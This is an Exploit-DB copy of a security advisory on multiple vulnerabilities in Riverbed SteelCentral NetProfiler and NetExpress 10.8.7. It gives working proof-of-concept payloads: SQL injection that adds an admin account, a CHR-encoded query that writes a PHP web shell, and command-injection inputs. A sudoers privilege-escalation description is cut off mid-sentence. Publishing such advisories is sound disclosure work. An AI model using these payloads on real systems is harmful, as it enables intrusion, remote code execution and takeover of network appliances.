Exploit-DB #40028
Description: Riverbed SteelCentral NetProfiler & NetExpress 10.8.7 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2016-06-27
Author: Security-Assessment.com

Exploit:
(    , )     (,
  .   '.' ) ('.    ',
   ). , ('.   ( ) (
  (_,) .'), ) _ _,
 /  _____/  / _  \    ____  ____   _____
 \____  \==/ /_\  \ _/ ___\/  _ \ /     \
 /       \/   |    \\  \__(  <_> )  Y Y  \
/______  /\___|__  / \___  >____/|__|_|  /
        \/         \/.-.    \/         \/:wq
                    (x.0)
                  '=.|w|.='
                  _=''"''=.

                presents..

Riverbed SteelCentral NetProfiler & NetExpress Multiple Vulnerabilities
Affected versions: SteelCentral NetProfiler <= 10.8.7 & SteelCentral
NetExpress <= 10.8.7

PDF:
http://www.security-assessment.com/files/documents/advisory/Riverbed-SteelCentral-NetProfilerNetExpress-Advisory.pdf

+-----------+
|Description|
+-----------+
The Riverbed SteelCentral NetProfiler and NetExpress virtual appliances,
which share the same code base, are affected by multiple security
vulnerabilities, including authentication bypass, SQL injection,
arbitrary code execution via command injection, privilege escalation,
local file inclusion, account hijacking and hardcoded default
credentials. Details for other low severity vulnerabilities (i.e.
cross-site scripting) are available in the accompanying PDF.

+------------+
|Exploitation|
+------------+
==SQL Injection==
The ‘username’ POST parameter in the login method of the common REST API
is vulnerable to SQL injection via stacked queries. An attacker can
exploit this vulnerability to add a user account in the application’s
PostgreSQL database and successfully bypass authentication. The
exploitation of this vulnerability can also be replicated from the main
web GUI login functionality as login calls are routed to the same common
REST API web service.

The proof-of-concept request below shows how to exploit the SQL
injection vulnerability to add a malicious user account into the ‘users’
table of the application database. Since quote characters can't be used
as part of the injection payload, an attacker needs to use string
concatenation to insert the field values (i.e. 'user' =>
CHR(117)||CHR(115)||CHR(101)||CHR(114)).

[POC SQL INJECTION - INSERT USER]
Method => POST
URL => /api/common/1.0/login
Content-type => application/json
Payload => {
  "username": "test%';INSERT INTO users (username, password, uid) VALUES
(<user>, <SHA512 hash>, <random id>);--",
  "password": ""
}

Additional SQL Injection vulnerabilities exist in the application’s web
interface and can be exploited after authentication.

Method        => GET
URL         => /popup.php?page=export_report
Parameter     => report_id
POC Payload => 1';SELECT PG_SLEEP(5)--

Method        => GET
URL         => /popup.php?page=algorithm_settings
Parameter     => id
POC Payload => 1';SELECT PG_SLEEP(5)--   

Method        => POST
URL         => /index.php?page=port_config
Parameter     => PortsSelectControl/ports_config/port_names
POC Payload => ') AND 9625=(SELECT 9625 FROM PG_SLEEP(5)) AND
('Pdyu'='Pdyu   

Method        => POST
URL         => /index.php?page=port_config
Parameter     => PortsSelectControl/ports_config/port_numbers
POC Payload => 1-100) AND 5045=(SELECT 5045 FROM PG_SLEEP(5)) AND (2272=2272

Method        => POST
URL         => /index.php?page=port_config
Parameter     => PortsSelectControl/ports_config/port_proto
POC Payload => ');SELECT PG_SLEEP(5)--

All the SQL injections above can be trivially exploited to write
malicious PHP code into a directory under the application web root
folder, such as one used for file uploads, and obtain arbitrary code
execution.

[POC SQL INJECTION - WRITE WEBSHELL]   
GET
/popup.php?page=export_report&report_id=1';COPY+(SELECT+CHR(60)||CHR(63)||CHR(112)
||CHR(104)||CHR(112)||CHR(32)||CHR(101)||CHR(99)||CHR(104)||CHR(111)||CHR(32)||CHR(115)
||CHR(121)||CHR(115)||CHR(116)||CHR(101)||CHR(109)||CHR(40)||CHR(36)||CHR(95)||CHR(71)
||CHR(69)||CHR(84)||CHR(91)||CHR(34)||CHR(99)||CHR(109)||CHR(100)||CHR(34)||CHR(93)
||CHR(41)||CHR(59)||CHR(32)||CHR(63)||CHR(62))+TO+$$/usr/mazu/www/tmp/imports/shell.php$$;--
&export_type=3


==Command Injection==
Multiple command injection vulnerabilities exist in the appliances’ web
interfaces due to unsanitized user-supplied input passed as argument to
shell functions. An attacker can exploit these vulnerabilities to inject
shell commands and obtain arbitrary code execution.

URL         => GET
/popup.php?page=test_connection&device=<PAYLOAD>&type=switch
Parameter   => device
POC Payload => 1; touch /tmp/FILE;

URL         => POST /index.php?page=licenses
Body        => xjxfun=get_request_key&xjxr=<value>&xjxargs[]=<PAYLOAD>
Parameter   => xjxargs[]
POC Payload => LICENSE-TOKEN; id;
Notes        => Token Request functionality in 'Licenses' page

URL         => GET /popup.php?page=packet_export&query=<PAYLOAD>
Parameter   => query
POC Payload => 1; touch /tmp/MYFILE;

URL         => POST /index.php?page=network_config
Body        => <configuration params>&Setup/setup/network_hostname=<PAYLOAD>
Parameter   => Setup/setup/network_hostname
POC Payload => 1; touch /tmp/MYFILE;
Notes        => 'Configure now' functionality, injection occurs after
appliance reboots.

URL         => POST /index.php?page=product_info
Body        => xjxfun=delete_collect&&xjxr=<value>&xjxargs[]=<PAYLOAD>
Parameter   => xjxargs[]
POC Payload => 1; touch /tmp/MYFILE;
Notes        => 'Delete collected entry' functionality

==Privilege Escalation==
An insecure configuration of the /etc/sudoers file allows privilege
escalation to root. The ‘apache’ user is allowed to run multiple scripts
under the /usr/mazu/bin directory without being prompted for a password,
including the following sudoers entry:

/usr/mazu/bin/mazu-run /usr/bin/sudo /bin/date*

The ‘mazu-run’ script can be used to invoke the /bin/date binary in the
context of the built-in ‘mazu’ user. An attacker can abuse the mazu-run
script to run the /bin/date binary wit